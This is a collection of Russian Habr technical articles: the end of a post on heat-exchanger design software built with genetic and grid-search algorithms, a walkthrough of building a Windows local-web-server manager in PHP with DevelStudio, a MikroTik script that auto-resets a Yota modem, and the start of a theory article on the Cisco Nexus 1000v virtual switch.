2. Отсутствие в проекте асинхронности.
3. Большое комьюнити.
6. MVP 1.0 на базе Anvil.Works
------------------------------
Вопрос о платформе на которой мы будем делать MVP модель был долгое время открыт.
В команде разработки не было людей с опытом в HTML, CSS, JavaScript. Поэтому мы искали вариант конструктора интерфейса и желательно с поддержкой Python.
Сервис Anvil.Works был найден можно сказать случайно и сначала не рассматривался как полноценный вариант для создания пользовательского интерфейса.
Интерфейс среды разработки Anvil.WorksДело в том, что изначально Anvil.Works давал возможность запускать проект только в своем облаке. При этом на бесплатном тарифном плане скорость работы интерфейса при запросах к внешнему API была крайне низкая. А запросов у нас получилось довольно много.
В конце 2021 года на нашу удачу сервис Anvil.Works объявил о бесплатной возможности запустить свой проект на своем сервере. Это было для нас идеальное решение.
Вид запущенного приложения### 7. Git
Как бы это не звучало странно в 2022 году, но GIT у нас появился далеко не сразу. Мы работали в единой среде JupyterLab и у каждого была своя рабочая папка.
Но как только мы запустили первую версию приложения на Anvil.Works и стали тестировать некоторые функции нашего API мы поняли что нам нужна система совместного версионного контроля.
На тот момент (2020-2021) в GitHub уже были бесплатные закрытые репозитории и мы выбрали его.
8. Алгоритмы поиска решения
---------------------------
### 8.1. Генетический алгоритм
#### 8.1.1. Генетическая игра "Мир кроликов"
Идея применения генетического алгоритма для поиска конструкции аппаратов пришла можно сказать случайно.
Первопричиной стало вот это видео:
После просмотра этого видео было решено реализовать свой вариант вселенной с такими условиями для того чтобы команда стала лучше чувствовать модель ООП.
В итоге получилась своя вселенная, которую мы ласково назвали "Мир кроликов".
Генетическая игра "Мир кроликов"Ссылка на GitHub: <https://github.com/tau15/Rabbit_World>
Симуляция мира кроликовУстройство кролика :)Внутри каждого кролика заложена программа (цепочка ДНК), представляющая собой последовательность действий кролика в игровой вселенной.Параметры мира кроликов
```
# World values
DNA_commands = 32 # Размерность генов в ДНК
Food_limit = 100 # Кол-во еды, генерируемое для каждого нового поколения
Poison_limit = 0 # Кол-во ядовитой еды
Food_generation = 200 # Кол-во еды, генерируемое в текущем поколении
sleep_time = None # Задержка перед выполнением ДНК кролика
Bots_num = 8 # Число кроликов в покалении
DNA_lenght = 32 # Кол-во генов в ДНК
Survivers = 2 # Число выживающих в каждом поколении
Mutation = 1 # Кол-во мутантов в поколении
Love = True # Смешение ДНК двух кроликов
Mutation_dna = 2 # Число мутаций в ДНК
```
#### 8.1.2. Генетический алгоритм для теплообменников
В новогодние праздники 2020-2021 возникла идея применить генетический алгоритм к задаче подбора конструкции теплообменного аппарата.
В качестве критерия отбора в каждом поколении был выбран коэффициент теплопередачи аппарата - **K**, который по сути является сводным показателем эффективности конструкции теплообменного аппарата.
Класс, описывающий ДНК теплообменника
```
class STHE_DNA():
Gens = {
'ShellType': [['E', 'F'], 0.5], # Тип кожуха
'TubePassNum' : [[1, 2, 3, 4, 6, 8, 10, 12, 14, 16, 18, 20], 0.5], # Количество ходов по трубному
'CaseNum' : [[1, 2, 3, 4, 5, 6], 0.5], # Колличество корпусов
'TDiam' : [[10, 12, 16, 20, 25, 32, 38, 57], 0.5], # Диаметр труб
'tube' : [['HOT', 'COLD'], 0.5], # Тип среды в трубах
'PatternCharacter' : [['Треугольники', 'Повернутые треугольники', 'Коридорные квадраты', 'Квадраты'], # Характер разбивки 0.5],
'BufflesType' : [['segm', 'screw'], 0.5], # Тип перегородок
}
...
...
```
Класс, описывающий возможные мутации в генах
```
class MUTATE_DNA():
Gens = {
'ShellType': [0, 1],
'TubePassNum' : [0, 1],
'CaseNum' : [0, 1],
'TDiam' : [0, 1],
'tube' : [0, 1],
'PatternCharacter' : [0, 1],
'BufflesType' : [0, 1],
'TubeNum' : [0, 1, 0.3, 0.5, 0.7, 0.9],
'TubeNum_direction' : [1, -1],
'TubeLenght' : [0, 1, 0.3, 0.5, 0.7, 0.9],
'TubeLenght_direction' : [1, -1]
}
...
...
```
Функция генерации нового поколения теплообменников
```
# DNA_array -
# MUTATE_DNA_array -
def BuildNewGeneration(self, DNA_array, MUTATE_DNA_array):
# Добавляем текущие DNA к новому поколению
for i in DNA_array:
pass
for i in DNA_array:
for m in MUTATE_DNA_array:
# 3 близких варианта
for n in range(1):
pass
# 3 близких варианта
for n in range(3):
pass
```
Выбор коэффициента теплопередачи как критерия выживаемости подтвердил некоторые гипотетические зависимости. Например логично было предположить, что масса аппарата будет иметь обратную зависимость от эффективности работы конструкции.
График корреляции массы аппарата и коэффициента теплопередачи КНа графиках видна обратная зависимость коэффициента теплопередачи и массы аппарата.### 8.2. Сеточный алгоритм
В генетическом алгоритме был для нас критически не приемлемый момент - нестабильность итогового решения.
Поэтому мы приняли решение строить сетку всех возможных решений и затем выбирать наиболее подходящий вариант.
Не буду углубляться в дебри, но хочу сказать, что именно генетический алгоритм дал нам понять как рациональнее сделать проход по сетке возможных решений, которых по сути бесконечное множество.
Блок-схема алгоритма построения сетки решенийНа схеме показан алгоритм поиска решения, если пользователь не задал строго тип кожуха.9. Механизм выбора лучшего варианта
-----------------------------------
Основными критериями для выбора лучшего варианта стали:
1. **МАССА.** Чем меньше масса аппарата, тем дешевле аппарат. Выбор наименьшего возможного значения массы из числа всех вариантов и расчет отклонения в долях единицы от наименьшего значения массы для каждого варианта.
2. **КОЭФФИЦИЕНТ ТЕПЛОПЕРЕДАЧИ.** Характеризует интенсивность процесса теплопередачи, чем больше коэффициент теплопередачи, тем эффективней работает аппарат. Выбор наибольшего возможного значения коэффициента теплопередачи из числа всех вариантов и расчет отклонения в долях единицы от наибольшего значения коэффициента теплопередачи для каждого варианта.
3. **РЕЙНОЛЬДС ТРУБНОГО ПРОСТРАНТСВА.** Для грязных сред имеет значение отдельно этот параметр. Чем больше значение числа Рейнольдса трубного просранства (в пределах допустимой скорости), тем меньше вероятность образования отложений и загрязнения аппарата. Выбор наибольшего возможного значения числа Рейнольдса трубного просранства из числа всех вариантов и расчет отклонения в долях единицы от наибольшего значения числа Рейнольдса трубного для каждого варианта.
4. **РЕЙНОЛЬДС МЕЖТРУБНОГО ПРОСТРАНТСВА.** Для грязных сред имеет значение отдельно этот параметр. Чем больше значение числа Рейнольдса межтрубного просранства (в пределах допустимой скорости), тем меньше вероятность образования отложений и загрязнения аппарата. Выбор наибольшего возможного значения числа Рейнольдса межтрубного просранства из числа всех вариантов и расчет отклонения в долях единицы от наибольшего значения числа Рейнольдса межтрубного для каждого варианта.
10. MVP 2.0
-----------
Как мне кажется в итоговой версии интерфейса мы раскрыли почти весь потенциал Anvil.Works:
Раздел "Проекты"Раздел "Режимы работы"Раздел "Требования к конструкции"Раздел "Задачи и расчеты"Раздел "Отчеты"11. Эскизный проект
-------------------
Задача по построению эскизного проекта казалась на старте трудно реализуемой, но по итогу мы получили вполне приемлемый модуль, который строит вот такие чертежи:
Эскизный проект кожухотрубчатого теплообменника AES12. Анализ разбивок с помощью OpenCV
------------------------------------
В 2021 году все члены нашей команды выразили желание пройти обучение по курсу "Data Science и нейронные сети".
Как результат, появился модуль анализа разбивки аппарата по фотографии или чертежу.
13. Расчет теплообменника по зонам
----------------------------------
В данный момент мы разрабатываем углубленный расчет теплообменника, разбивая его на отдельные сектора, каждый из которых мы считаем как самостоятельный теплообменник.
Такой подход позволит нам приблизится к расчетам случаев, где присутствует фазовый переход.
Визуализация процесса расчета в JupyterLab![]()Дальнейшие планы:
* Динамический шаг перегородок в межтрубном пространстве с учетом фазовых переходов.
* Ускорение работы сеточного алгоритма.
* Расчет вибраций.
* Добавление других типов кожухов.
* Перевод на английский язык.
* Добавление стандартов ASME, PED.
* Формирование 3D модели аппарата в CAD системе. | https://habr.com/ru/post/651207/ | null | ru | null |
# Visual PHP для Windows
На сегодняшний день язык PHP широко распространён, он прост в освоении и понимании, и наверное поэтому он так популярен у начинающих программистов. Без знаний PHP не поправить блок голосования на сайте, не отредактировать PHP шаблон, не вставить рекламный баннер. Многие идут дальше и изучают язык более углубленно, ведь это не только интересно, но и приносит стабильный доход, благо разнообразных предложений для PHP программистов всегда в избытке.
Но что делать, если хочется чего-то большего? Если надоело писать однотипные классы для онлайн-казино, ковыряться в Joomla/Drupal/PHPBB очередного заказчика?
Думаю, что многих посещала мысль начать писать Windows программы на любимом языке PHP, но дальше поиска по интернету и поверхностного изучения таких библиотек как PHP-QT и PHP-GTK дело, как правило, не доходит. Почему? Все ответы схожи — запутанно, сложно, ненаглядно, непонятно и т.д. Но сегодня уже есть качественно новая и перспективная среда для визуальной разработки программ на PHP под Windows и имя ей — PHP Devel Studio (сокр. DevelStudio).
#### Что же представляет собой DevelStudio?
Это удобная и понятная визуальная среда программирования, которая позволяет создавать полноценные программы на языке PHP с поддержкой GUI. Теперь, для создания программ под Windows достаточно знать самый популярный язык программирования — PHP.
В этой статье я не буду описывать кнопочки и рюшечки этой среды разработки, не буду говорить о неких абстрактных возможностях и не буду устраивать детский сад с написанием «Hello world».
Мы поверхностно рассмотрим процесс написания полноценной программы под Windows и остановим своё внимание только на оригинальных и нестандартных решениях, которые определённо будут интересны всем.
#### Предыстория
Итак, в один прекрасный вечер я уже в который раз снова посетил сайт проекта «Denwer» с целью проверить, не вышло ли там обновление. К моему разочарованию ничего нового там не оказалось, по-прежнему я обнаружил лишь новую ругань в адрес разработчиков с обвинениями в выклянчивании пожертвований и абсолютном бездействии.
Меня не покидало желание отказаться от Denwer и написать свою, действителньо удобную и полезную программу для управления локальным веб-сервером. После недолгих поисков моё внимание привлекла среда разработки «DevelStudio». Она оказалось предельно удобной, понятной и самое удивительное — она открыла мне дорогу в мир Windows программ. Поразмыслив над логикой управления веб-сервером я приступил к написанию «Open Server».
#### Знакомство с DevelStudio
Первые несколько дней были потрачены на изучение среды и написание простейших программ. Нашлось несколько багов в работе самой среды разработки, они будут описаны в конце статьи. Так же были установлены два полезных дополнения ([библиотека примеров](http://system-x-files.blogspot.com/p/devel-studio.html) + [каталог классов и функций](http://system-x-files.blogspot.com/2011/02/develstudio-all-view.html)) и один [неофициальный патч](https://docs.google.com/leaf?id=0Bw-xNFSemWS5YWUwMWJhNGUtMGJkOC00ODYzLTg4ZDMtNThiNmM4YWJjNGUz&sort=name&layout=list&num=50), дающий возможность сжатия программы UPX упаковщиком в момент компиляции.
Следует отметить, что у DevelStudio достаточное хорошее комьюнити, поэтому всегда есть возможность задать вопрос или получить совет у опытных пользователей среды, вплоть до самого разработчика.
DevelStudio — это этакая смесь из Delphi и PHP, щедро приправленная компонентами этих самых Delphi и PHP. Чего стоит один только [Alphaskin](http://www.alphaskins.com/index_rus.php), который я использовал самым непосредственным образом при написании программы. Но обо всём по порядку…
#### Написание программы
При создании проекта мы получаем пустую форму. Она является основной и именно в этой форме я не создавал никаких элементов управления, в ней мною были добавлены управляющие функции, а сама форма была сделана скрытой. Чтобы при запуске вашей программы не отображалось никаких форм в свойствах проекта нужно установить режим «Тихий». Затем были созданы следующие формы: **Настройки, Просмотр логов, О программе, Ошибка и Первый запуск**. За короткий срок во все формы были добавлены необходимые управляющие элементы, поля ввода, иконки и прочее. Всё это было сделано без единой строчки кода. Вот она мощь визуальной среды!
На следующей иллюстрации мы видим форму просмотра логов, а так же специальные вставки-шаблоны, они используются для организации мультиязычности. Замечу лишь, что для смены языка потребуется перезапуск программы.
Далее я начал добавлять первый PHP код. Как я уже писал, мы остановимся только на самых интересных моментах.
##### 1. Стартовая функция (выполняется при загрузке программы)
Вот так получилось реализовать проверку на то, не была ли уже запущена программа:
```
$output = shell_exec('tasklist /nh /fi "Imagename eq Open Server.exe"'); // получение списка процессов
$ret = iconv('CP866','CP1251',$output);
if (substr_count($ret,'Open Server.exe')>1) {
c('trayIcon1')->enabled = false; // отключаем трей-меню
LoadForm(c('message'), LD_NONE); // загружаем форму с сообщением об ошибке
}else{ ... }
```
Вот так, например, добавляются элементы в выпадающее меню:
```
$mm = new TMenuItem;
$mm->caption = t("menu_9"); // t - это функция мультиязычности, здесь будет написано Выход
$mm->loadPicture("server/system/data/exit.bmp"); // подгружаем иконку
$mm->onClick = exitfunc; // функция выполняющая остановку сервера / выход из программы
```
А вот так удалось решить задачу с определением битности Windows и проверке на наличие установленных компонентов Microsoft Redistributable C++. Битый час я не мог понять, почему в 32 и 64 битных версиях Windows ключи реестра имеют разное значение, а то они и вовсе не там, где предполагалось.
```
if(getenv("PROCESSOR_ARCHITEW6432")=="AMD64" || getenv("PROCESSOR_ARCHITECTURE")=="AMD64"){
$output = shell_exec("REG QUERY HKLM\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"); // запрос в реестр
$ret = iconv('CP866','CP1251',$output);
if (substr_count($ret,'{86CE85E6-DBAC-3FFD-B977-E4B79F83C909}')<1 || substr_count($ret,'{a0fe116e-9a8a-466f-aee0-625cb7c207e3}')<1) {
c('trayIcon1')->enabled = false;
LoadForm(c('proc'), LD_NONE); // загрузка формы с предложением установить недостающие компоненты
}
}else{
$output = shell_exec("REG QUERY HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\");
$ret = iconv('CP866','CP1251',$output);
if (substr_count($ret,'{86CE85E6-DBAC-3FFD-B977-E4B79F83C909}')<1 || substr_count($ret,'{a0fe116e-9a8a-466f-aee0-625cb7c207e3}')<1 ) {
c('trayIcon1')->enabled = false;
LoadForm(c('proc'), LD_NONE); // загрузка формы с предложением установить недостающие компоненты
}
}
```
##### 2. Форма просмотра логов
Здесь всё было предельно просто — чтение лог-файла и вывод содержимого в форму, но пришлось пойти на хитрость, чтобы сделать автоматическую установку курсора в конец списка (~~возможности среды этого не позволяют~~).
Вот как изначально я обрабатывал переключение табов и установку курсора в конец лога:
```
$WshShell = new COM("WScript.Shell");
if (c("pages1")->pageIndex == 0) c("memo1")->setFocus(); // установка фокуса на текстовое поле
elseif (c("pages1")->pageIndex == 1) c("memo2")->setFocus();
...
elseif (c("pages1")->pageIndex == 6) c("memo7")->setFocus();
$WshShell->SendKeys("^{END}"); // нажатие клавиши END чтобы попасть в конец
$WshShell->SendKeys("{HOME}"); // Нажатие клавиши HOME чтобы вернуться в начало последней строки
```
Как мы видим, были использованы компоненты COM, но по совету одного доброго человека этот код был превращён в следующий:
```
$ppindex = c("logs->pages1")->pageIndex;
$obmemo = c("logs->memo".($ppindex+1)); // определяем активный таб
$cnlines = $obmemo->items->lines; // получаем содержимое
$seltn = strlen( $obmemo->text ) - strlen($cnlines[ count($cnlines)-1 ]); // определение последней строки
$obmemo->setFocus();
$obmemo->selStart = $seltn; // установка курсора в начало строки
$obmemo->selLength = 0; // установка длины выделения
```
##### 3. Форма настроек
Чтение и запись настроек в DevelStudio происходят достаточно просто и очевидно:
```
ini :: open("server/system/config.ini"); // открываем файл настроек
ini :: read("main", "lang", $lang); // читаем параметр
ini :: write("main", "lang", c("settings->combobox1")->inText); // сохраняем параметр
```
Но кое с чем пришлось повозиться — это получение списка свободных дисков в системе.
Вот что сперва получилось, это довольно интересно:
```
$fso = new COM("Scripting.FileSystemObject");
$disks = array();
foreach($fso->Drives as $disk) $disks[] = $disk->DriveLetter; // получаем массив дисков
$diskarr = array("D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
$diskar = array();
foreach($diskarr as $fffile) if($fffile == $os_vdisk){$diskar[] = $fffile;}else {if(!in_array($fffile,$disks)) $diskar[] = $fffile;} // если диск существует, то исключаем его из списка
c("combobox2")->text = implode("\n",$diskar);
$icounter = 0;
foreach($diskar as $fffile) {if($fffile == $os_vdisk) c("combobox2")->itemIndex = $icounter; $icounter++;}
```
Здесь снова был использован компонент COM и опять же не обошлось без доброго совета со стороны.
Я подключил DLL библиотеку phposinfo.dll и итоговый код получился таким:
```
$dliters = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z");
$diskar = array();
$icounter = 0;
$icount = true;
foreach ($dliters as $dliters) // перебираем массив дисков
{
if ($dliters == $os_vdisk)
{
$diskar[] = $dliters;
$icount = false;
}
else
{
if (osinfo_drivetype($dliters . ":") == 1) // функция из phposinfo.dll для получения кода состояния диска
{
$diskar[] = $dliters; // если ответ единица добавляем букву диска в список свободных
if ($icount)
$icounter++;
}
}
}
c("combobox2")->text = implode("\n", $diskar); // добавляем массив дисков в выпадающий список
c("combobox2")->itemIndex = $icounter; // указываем выбранный пункт списка
```
##### 4. Функция запуска локального сервера
Это самая объёмная функция, нужно было сделать перезапись конфигурации модулей по шаблонам, запустить виртуальный диск, запустить Apache, Mysql, FTP сервер и написать ещё много всего интересного, однако и тут DevelStudio и форум поддержки среды позволили мне реализовать всё задуманное. Далее несколько интересных моментов…
Были проблемы с определением системного диска и получения пути до HOSTS файла, в итоге всё оказалось легко и просто:
```
$hostsfile = winLocalPath(CSIDL_WINDOWS) . "/System32/drivers/etc/hosts";
```
Запускаем виртуальный диск (здесь используется системная утилита subst.exe, а так же получение локальной директории и пути до системной папки Windows):
```
Shell_Execute(0, 'open', 'subst.exe', $os_vdisk . ': "' . substr(realpath('./'), 0, strlen(realpath('./')) - 1) . '"', strtr(winLocalPath(CSIDL_WINDOWS).'/System32/','/','\\'), 0);
```
Запуск Apache (функция Shell\_Execute позволяет запустить стороннюю программу в фоне и без ожидания ответа):
```
Shell_Execute(0, 'open', 'os-httpd.exe', '', $realospath . '\\server\\http\\' . $os_httpdriver . '\\bin\\', $os_window);
```
Хотелось бы особо отметить, что один из багов DevelStudio — зависания при использовании фоновых процессов в Windows XP. Из-за этого пришлось сделать все процессы не фоновыми и, как следствие, отключать трей-меню на моменты запуска/остановки сервера. Если этого не сделать может показаться что программа зависла, ибо в моменты выполнения real-time процессов элементы управления ни на что не реагируют.
Для создания красивого и одинаково выглядящего во всех версиях Windows трей-меню был использован компонент Skin, а так же один из скинов AlphaSkin, который был мною предварительно отредактирован.
После компиляции на выходе у нас получается обычный исполняемый EXE файл, т.е. собственно сама наша программа. PHP код содержится там в бинарном скомпилированном виде, его дешифровка невозможна, что в принципе позволяет уже сейчас писать платный коммерческий софт. Впрочем преобразование PHP кода в байт-код (используется расширение BCompiler) можно отключить в настройках DevelStudio.
Как видите, с помощью PHP и DevelStudio мне удалось реализовать все поставленные перед собой задачи. Не обошлось без вызова системных утилит и встроенных функций среды разработки. Получилась полноценная Windows программа написанная на языке PHP, точнее даже комплекс программ для организации веб-сервера на локальном компьютере, сейчас проект Open Server живёт и успешно развивается.
#### Настоящее и будущее DevelStudio
Сейчас DevelStudio базируется на движке PHP 5-ой версии, однако автор ведёт усиленную работу над созданием особой ветки улучшенного PHP — так называемого движка Orion, который будет использоваться в DevelStudio уже со следующей версии. С одной стороны это пугает тем, что больше никаких обновлений от оригинального PHP в самой среде не появиться, кроме того что уже есть в той версии PHP, которая выбрана для разработки Orion. С другой стороны хочется надеяться, что движок Orion преподнесёт нам не мало новых вкусностей, а обещают там очень многое:
*Отечественные разработчики Devel Studio, сообщают, что их новая среда разработки уже скоро начнёт работать с собственным скриптовым языком программирования Orion, синтаксис которого будет сочетать популярный PHP + новые конструкции языка.
Также сообщается то, что для Devel Studio почти готов абстрактный игровой движок, который основывается на ZenGL и в него будет подключен Orion. GameAbstract Framework — открытый игровой фреймворк быстрой и удобной разработки 2D-игр на Pascal (Delphi/FreePascal), Orion и на прочих ЯП. Абстракция позволит разработчикам заниматься именно логикой игры, взяв на себя всю остальную рутину.
GameAbstract позволит создавать игры на популярные платформы: Windows, Linux, MacOS (а в будущем и iPhone/iPad). Разработчик будет волен выбрать графический интерфейс: OpenGL, DirectX или OpenGL ES для мобильных систем. Физика будет реализована на основе технологии Chipmunk.
По материалам сайта gcup.ru от 2011-05-23*
#### Заключение
В целом DevelStudio оставила после себя хорошее впечатление, далее мои скромные выводы.
Баги:
— зависание php программы при использовании фоновых процессов в WinXP;
— фоновые процессы не убиваются после отработки (занимают память);
— изменение размеров не вручную, а стрелками больше/меньше приводит к краху;
— нельзя использовать режим отладки и вывод ошибок, иначе изменения не сохраняются;
— без патча не работает упаковщик UPX;
Минусы:
— наличие некоторых багов;
— программы получаются довольно объёмные, но при использовании UPX разница не так велика;
— больший объём занимаемой оперативной памяти, чем аналог на Delphi или С++;
— крайне плохая официальная документация, скудная и устаревшая;
Плюсы:
— простота в освоении и удобство разработки;
— хорошее комьюнити;
— широкие возможности по использованию сторонних библиотек;
— высокая скорость разработки программ;
— наслаждение от написания Windows программ на языке PHP ;-)
На мой взгяд, визуальная среда разработки DevelStudio — это очередной шаг к размытию границ между выбором языка разработки программ под Windows. Пишите полезные программы, развивайтесь и не бойтесь экспериментировать!
Полезные ссылки:
[Среда разработки PHP Devel Studio](http://develstudio.ru/)
[Локальный веб-сервер Open Server](http://open-server.ru/info.html)
**UP:** *Откуда в Вас столько ненависти? Это всего лишь очередной способ использования языка PHP. Довольно интересная среда разработки, хотя бы в плане саморазвития. Никто не говорит что нужно бросать всё и садиться писать Windows программы на PHP.
Просто задайте себе вопрос — если бы вы узнали, что ваша машина может не только ездить, но и летать, разве вам это было бы не интересно? Ах да, ведь для полётов есть самолеты, не так ли...* | https://habr.com/ru/post/120975/ | null | ru | null |
# Mikrotik — Дополнительные настройки для Yota
Не так давно подключили дополнительного провайдера в виде беспроводной йоты, простого «свистка». Имеем Mikrotik CCR1009-8G-1S-1S+, на котором есть usb. Но возникла проблема, йота периодически зависает и пока не перезагрузишь — ничего не работает. Обращался в техническую поддержку Йоты, предложили купить роутер Zyxel, либо поставить между йотой и микротиком устройство которое будет отключать и включать электропитание 1 раз в сутки. Покупать дополнительный роутер который будет использоваться для йоты никто не хотел, а ставить переключатель тоже не вариант-вдруг йота подвиснет днем, а переключатель настроен на 23:00. Конечных решений для данной проблемы в ресурсах сети не нашел (а возможно плохо искал). Поэтому решено было настроить автоматический reset yota.
Предварительно в самой йоте настраиваем адрес из отличной от вашей локальной сети. Например я использую сеть 192.168.32.0/24, поэтому адрес йоты выбрал 172.16.0.1.
На интерфейс lte маршрутизатора:
`/ip address
add address=172.16.0.10/24 interface=lte1 network=172.16.0.0`
Скрипт для переключения йоты и отправки уведомления на почту. Необходимо в меню winbox зайти в /system script, нажать «добавить», дать имя — reboot\_yota.
Ниже сам скрипт, тут все понятно.
`/system routerboard usb power-reset duration=3` — сбрасывает питание подаваемое к «свистку»
`/tool e-mail send server=work.ru port=25 user=router@work.ru password=password to=admin@work.ru from="router1" \
subject="MikroTik: $[/system clock get date], $[/system clock get time]" \`
`body="Yota reboot: $[/system clock get date]\nDate: $[/system clock get time]\nMyName: $[/system identity get name]:";` — отправляет уведомление на адрес admin@work.ru о том, в какое время и какой роутер сбросил питание йоте.
Далее заходим в Netwatch, данная фича от микротик позволяет мониторить состояние канала через определенные промежутки времени:
`/tool netwatch
add down-script=reboot_yota host=172.16.0.1 interval=30s`
Видно из правила, что при отсутствии доступности 172.16.0.1- выполняется скрипт. На Up ничего не указываем т.к. в данной ситуации мы следим только за падением канала.
И в дополнение, если вы все таки решили купить белый адрес у йоты, то для этого необходимо правильно настроить правила маркировки и сделать маршруты:
```
/ip firewall mangle
add action=mark-connection chain=input in-interface=lte1 new-connection-mark=conn_yota_in
add action=mark-routing chain=output connection-mark=conn_yota_in new-routing-mark=out_yota passthrough=no
add action=mark-connection chain=prerouting connection-state=new in-interface=lte1 new-connection-mark=conn-yota-fw
add action=mark-routing chain=prerouting connection-mark=conn-yota-fw in-interface=bridge-local new-routing-mark=route-yota-fw passthrough=no
/ip route
add distance=1 gateway=172.16.0.1 routing-mark=out_yota
add distance=1 gateway=172.16.0.1 routing-mark=inet_for_yota
add distance=1 gateway=172.16.0.1 routing-mark=route-yota-fw
```
Порты пробрасываются корректно, удаленный доступ к роутеру по внешнему адресу есть. В случае зависания, Yota перегружается и уведомляет об этом администратора. Если есть замечания, дополнения и критика — пишите. | https://habr.com/ru/post/277435/ | null | ru | null |
# Установка Cisco Nexus 1000v в VMware vSphere 5.x
Статья является переводом двух статей AJ Cruz:
[Nexus 1000v Part 1 of 2 (Theory)](http://nexusfu.blogspot.ru/2013/09/nexus-1000v-part-1-of-2-theory.html)
[Nexus 1000v Part 2 of 2 (Installation & Operation)](http://nexusfu.blogspot.ru/2013_10_01_archive.html)
Частично пересекается со статьями:
[Установка Nexus 1000V на vSphere 5.1 (Часть первая)](http://habrahabr.ru/post/175663/)
[Установка Nexus 1000V на vSphere 5.1 (Часть вторая)](http://habrahabr.ru/post/171639/)
Но там другой стиль изложения и другие особенности, например установка VEM в ядро гипервизора через VMware Update Manager.
Nexus 1000v Часть 1 из 2 (Теория)
Это будет первая из двух публикаций о моем исследовании свича Nexus 1000v.
Здесь я расскажу о теории Nexus 1000v. А во второй части опишу установку и эксплуатацию.
В то время как я буду продолжать свой пост, я могу упоминать различную терминологию, которая нуждается в определении. Поэтому я сразу обозначу некоторые термины:
* **vDS**
* **vSphere Distributed Switch** (vSphere Распределенный Свич)
* **Virtual Distributed Switch** (Виртуальный Распределенный Свич)
* **DVS**
* **Distributed Virtual Switch** (Распределенный Свич)
Все вышеуказанное — это как vSphere Distributed Switch обычно упоминается в интернете и в разного рода документации.
Они все означают одно и то же и относятся к виртуальному свичу в целом.
Cisco Nexus 1000v — это один из вариантов реализации vDS. vSphere также имеет встроенный vDS, с которым у меня не много опыта в обращении.
Давайте узнаем что же такое vDS, а именно Nexus 1000v. Для начала давайте взглянем на то, с чем мы все знакомы. Изображение ниже — свич Nexus 7004:
Довольно стандартный. У нас есть пара Supervisor Engines в разъемах 1 и 2, Sup в разъеме 1 активен. Также у нас есть пара модулей ввода-вывода (IOM, линейные платы, модули Ethernet, интерфейсные карты) в слотах 3 и 4. Линии LAN матрицы созданы чтобы показать, каким образом мы могли бы подсоединиться к остальной нашей инфраструктуре.
Теперь посмотрите на графическое представление vDS:
У нас есть такие же четыре модуля, но теперб они работают в качестве программного обеспечения в рамках VMware («V» в vDS) и распространяются в двух разных ESXi хостах («D» в vDS).
**VSM** — Апплаинс виртуальной машины (Виртуальный модуль управления) Виртуальная машина, которая представляет собой «мозг» (как Supervisor Engine) vDS. VSM можно запустить как на хосте ESX, так и на специализированном железе.
**VEM** — Виртуальный Ethernet-модуль. Программное обеспечение на каждом хосте ESXi, участвующем в vDS. Аналог линейной платы в стандартном модульном свиче.
**SVS** — Свич вертиуализации сервера. В SVS конфигурация определяет то, каким образом VEMы связываются со своим родительским VSM. В общих чертах похоже (по крайней мере в моей голове) на трассировку магистралей в стандартных модульных свичах.
Давайте копнем немного глубже и посмотрим, как виртуальные машины «подключаются» к vDS и как vDS подключается к остальной части мира. У меня есть другое изображение в качестве иллюстрации:
Не важно принадлежат ли профили портов к **VEM** или **VSM**, я устанавливаю их на VEM чтобы сделать работу более понятной. Что же представляет собой профиль порта?
В виртуальном свиче (и это логично) мы не выполняем операция на физическом интерфейсе. Фактически, виртуальный интерфейс к которому подключается VM даже не существует до тех пор пока не был настроен адаптер VM. Итак, что нам нужно сделать — это создать контейнер, куда мы все поместим. Контейнер содержит информацию о конфигурации (vlan, политику QoS (Quality of Service) и т.д.) и выступает в качестве своего рода воронки или точки агрегации для виртуальных машин.
Когда мы редактируем настройки виртуальной машины и выбираем подключение к сети ее адаптера, мы увидим выпадающий список (с помощью изображение выше) с пунктами «B» и «А».
Почему же мы не видим два другим профиля портов (X или Y)?
**Профиль порта vethernet** — тип профиля порта, который используется для подключений виртуальной машины. Доступен в выпадающем списке подключений к сети настроек адаптера Виртуальной Машины.
**Профиль порта Ethernet** — тип профиля порта, который используется для физического подсоединения из ESX сервера. Не отображается в настройках адаптера VM.
Таким образом, хотя виртуальные машины назначены на профиль порта vethernet, физические сетевые адаптеры назначены на профиль порта ethernet. Как профили портов vethernet знают какой профиль порта ethernet использовать для исходящего трафика?
На 1000v не запущено связующее дерево. Профили портов Ethernet должны быть настроены с уникальными VLAN. Другими словами, определенный VLAN должен быть привязан к одному профилю порта ethernet. 1000v позволит вам настроить несколько профилей Ethernet-портов с одним и тем же VLAN, но в дальнейшем это приведет к проблемам.
Это не значит что мы не можем иметь резервирование каналов восходящей связи. Как можно видеть на последнем изображении: два сетевых адаптера назначены одному провилю порта ethernet. Резервирование может быть достигнуто с помощью LACP или vPC хост-режима (mac-пиннинг). Я не хочу слишком углубляться в процесс mac-пиннинга, но он в основном работает так же, как и звучит. MAC-адрес определенной виртуальной машины прикрепляется к однуму из физических выходных портов. Разделение VM межуд физическими сетевыми адаптерами (происходит автоматически посредством VPC хост-режима) обеспечивает измерение распределения нагрузки.
**vPC Host Mode** (vPC Хост Режим) — НЕ VPC!!! Выбросите vPC из головы. vPC хост режим = MAC-пиннинг. Если вы уже работали с VMware — это то же самое, что и «Маршрут на основе идентификатора исходного виртуального порта».
Это метод распределения нагрузки, не требующий специальной конфигурации свича. Как уже упоминалось, MAC-адреса просто привязывают на один физический порт или на другой.
Далее я хотел бы изучить немного больше о соединениях SVS. Первоначально VEM (ESXi хост) и VSM должны быть смежными с Уровнем 2. Последние версии 1000v поддерживают развертывания на Уровне 3 и это рекомендуемый метод развертывания. Связь между VEM и VSM — IP. Фактически, при развертывании на Уровне 3 весь трафик отправляется через **UDP-порт 4785**. Тем не менее, это не происходит автоматически. Нам нужно настроить профиль порта vethernet vmkernel с помощью команды "**capability l3control**". Именно это дает указание VEM инкапсулировать все связанное с плоскостью контроля в UDP 4785 и отправлять на VSM.
Теперь мы видим, что столкнулись с проблемой «курица или яйцо», особенно если VSM работает на VEM.
**System VLAN** — разрешает сквозной доступ к настроенному трафику VLAN трафик, что означает немедленный доступ к сети в отсутствие VSM-соединения; порты vmkernel необходимо настроить с системным VLAN. Кроме того, команда «system vlan <#>» выставляется и на порт профиля vethernet и на порт ethernet-профиля.
